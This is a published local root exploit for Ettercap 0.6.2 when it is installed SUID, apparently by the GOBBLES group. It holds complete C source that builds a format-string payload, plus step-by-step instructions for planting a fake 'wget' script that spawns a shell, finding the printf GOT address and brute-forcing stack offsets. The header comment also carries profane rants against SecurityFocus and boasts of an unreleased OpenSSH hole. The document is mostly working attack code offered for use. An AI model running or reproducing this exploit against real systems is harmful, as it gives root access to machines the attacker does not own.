Ettercap v0.6.2 local root format string exploit. Works if the administrator made Ettercap SUID.
d6e5951f7604f7851edf50f992c03724
/* [ RFP NOTE: The actual advisory, which was an attachment to this message,
had some 'publishing restrictions'--so we decided to just not publish it
and instead give you the link. You can view the full advisory at. Keep in mind this is for the
few people who, for some reason, installed Ettercap SUID root.
Installing Ettercap SUID root is not a default option. ] */
/*
* own-ettercap - Ettercap local root exploit
* - Alicia [GOBBLES]
*
* Ettercap has a configuration option called PERMIT_SUID. This allows the
* administrator to make the binary SUID root. Among at least half a dozen
* vulnerabilities in the program, there is a format string problem that can
* be triggered if ncurses is present and the PERMIT_SUID option is used.
*
* No shellcode is needed for the exploit. It should work fine for systems
* using ELF/x86. The exploitation idea is to overwrite the printf() GOT
* with an address in the program's own code segment, namely for the
* following:
*
* 441 void Main_Check_NewRelease(void)
* [...]
* 535 sprintf(wget, "wget" ...
* 536 system(wget);
*
* Incidentally, lines 535-536 may or may not be exploitable alone.
*
* Openwall, StackGuard, Stackshield, PaX, libsafe, and Solaris
* noexec_user_stack do nothing to stop this; FormatGuard might help.
* Considering that most of our exploits defeat all of the above anyway, one
* wonders what good they really do.
*
* We have an OpenSSH 2.9 sshd remote buffer overflow vulnerability (Hi Theo,
* you do good work!). We'll post the details of the hole when we see that
* securityfocus has stopped moderating us and offers an apology. It's a shame
* that our research, which matches 95% of Bugtraq posts, is moderated on
* the grounds of it being "technically feeble." Fucking cocksuckers.
*
*
*
* Anyway, this exploit is pretty much penetrator proof, but it may not be
* totally script kid proof. We apologize.
*
* 1. Change ECAP_PATH to the location of ettercap.
* 2. DEF_SLEN and DEF_ALIGN should be fine as they are.
* 3. DEF_GOB will unlikely work for you. Brute force it in step 7.
* 4. Make a shell script named 'wget' in your current working directory:
* bash-2.05$ cat > wget ; chmod +x wget
* #!/bin/sh
* /bin/sh
* ^D
* 5. Grab the printf() GOT address:
* bash-2.05$ objdump -R ettercap | grep printf
* 0808c478 R_386_JUMP_SLOT printf
* 6. This is where most penetrators are likely to screw up. Disassemble
* Main_Check_NewRelease and try to find where the first sprintf()
* argument is prepared for being pushed onto the stack. Sample:
* 0x8079268 <Main_Check_NewRelease+976>: mov 0xfffffff0(%ebp),%eax
* 0x807926b <Main_Check_NewRelease+979>: push %eax
* 0x807926c <Main_Check_NewRelease+980>: lea 0xffffea58(%ebp),%eax
* 0x8079272 <Main_Check_NewRelease+986>: push %eax
* 0x8079273 <Main_Check_NewRelease+987>: push $0x80880a0
* 0x8079278 <Main_Check_NewRelease+992>: lea 0xffffe9e8(%ebp),%eax
* 0x807927e <Main_Check_NewRelease+998>: push %eax
* 0x807927f <Main_Check_NewRelease+999>: call 0x804f418 <sprintf>
* 0x8079284 <Main_Check_NewRelease+1004>: add $0x10,%esp
* 0x8079287 <Main_Check_NewRelease+1007>: add $0xfffffff4,%esp
* 0x807928a <Main_Check_NewRelease+1010>: lea 0xffffe9e8(%ebp),%eax
* 0x8079290 <Main_Check_NewRelease+1016>: push %eax
* 0x8079291 <Main_Check_NewRelease+1017>: call 0x804edd8 <system>
* 7. Now we brute force the stack stepping:
* i=1; while [ $i -le 40 ] ; do ./expl 0x0808c478 0x8079268 $i; \
* i=`expr $i + 1`; done
*
* Some values of retadd aren't accounted for, but you should encounter no
* problems unless you try testing with 0x41414141 and such.
*
* For old glibc, this will be useless. Should present a good programming
* challenge for 90% of the team bugtraq commercial penetrator "academic
* re$earch community" though. One wonders why the only ones who seem to
* defend full disclosure are the ones who have something to lose in its
* absence. Others just seem to think it's anti-Microsoft or anti-BigVendor.
* As a good friend says, if they're so concerned about securing computer
* networks worldwide, then why the fuck are they capitalizing on it?
*
* Fact: They profit with insecurity.
* Fact: With security, they'd make no profit.
* Conclusion: They don't want security.
* Fact: They need customers to profit with insecurity.
* Fact: The customers must be aware of their insecurity.
* Conclusion: They need to do everything possible to scare the public.
*
* Microsoft: It's like shouting "FIRE!" in a cinema!
* Securityfocus: But the cinema really is on fire!
* Counter-Securityfocus: So you burn down the whole city as a "necessary
* evil" to let everyone know the threat of the cinema on fire?
*
* Hey, securityfocus will probably reject this advisory, but then again,
* they rejected our banner(1) exploit too. In some ways we hope they do
* reject this as being too fluffy, because there are many people out there
* who'd like to see the saga continue in a much more devastating way...
*
* - Alicia
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#define ECAP_PATH "./ettercap"
#define DEF_GOB 20
#define DEF_SLEN 21
#define DEF_ALIGN 3
void
usage(char *prog)
{
fprintf(stderr, "GOBBLES ettercap local root exploit\n");
fprintf(stderr, "usage: %s retloc retadd [gob] [align] [slen]\n", prog);
exit(EXIT_FAILURE);
}
int
chk_clean(void *addr, size_t len)
{
return (memchr(addr, '\0', len) || memchr(addr, '%', len));
}
void
mk_fmt(unsigned long retloc, unsigned long retadd, int gob, int align, int slen,
char **attack)
{
char *ptr;
unsigned long len, rllo, rlhi, ralo, rahi;
if(!(*attack = malloc(gob * 4 + 256))) {
perror("malloc");
exit(EXIT_FAILURE);
}
ptr = *attack;
len = slen + align + 16 + gob * 9;
rllo = retloc;
rlhi = retloc + 2;
ralo = retadd & 0xffff;
rahi = retadd >> 16 & 0xffff;
if(ralo > rahi) {
rllo ^= rlhi, rlhi ^= rllo, rllo ^= rlhi;
ralo ^= rahi, rahi ^= ralo, ralo ^= rahi;
}
ralo -= len;
rahi -= ralo + len;
while(align--) {
*ptr++ = 'G';
}
*((unsigned long *) ptr)++ = 0xdefaced;
*((unsigned long *) ptr)++ = rllo;
*((unsigned long *) ptr)++ = 0xdefaced;
*((unsigned long *) ptr)++ = rlhi;
if(chk_clean(ptr - 16, 16)) {
fprintf(stderr, "bad: %#lx (& +2) - your skeelz needed!\n", retloc);
exit(EXIT_FAILURE);
}
while(gob--) {
memcpy(ptr, "%8x.", 4);
ptr += 4;
}
sprintf(ptr, "%%%luc%%hn%%%luc%%hn", ralo, rahi);
}
int
main(int argc, char **argv)
{
char *attack;
unsigned long retloc, retadd;
int gob = DEF_GOB, align = DEF_ALIGN, slen = DEF_SLEN;
if(argc < 3) usage(argv[0]);
retloc = strtoul(argv[1], NULL, 0);
retadd = strtoul(argv[2], NULL, 0);
if(argc > 3) gob = atoi(argv[3]);
if(argc > 4) align = atoi(argv[4]);
if(argc > 5) slen = atoi(argv[5]);
mk_fmt(retloc, retadd, gob, align, slen, &attack);
setenv("PATH", ".:/bin:/sbin:/usr/bin:/usr/sbin", 1);
execl(ECAP_PATH, "ettercap", attack, (char *) 0);
perror("execl");
free(attack);
exit(EXIT_FAILURE);
}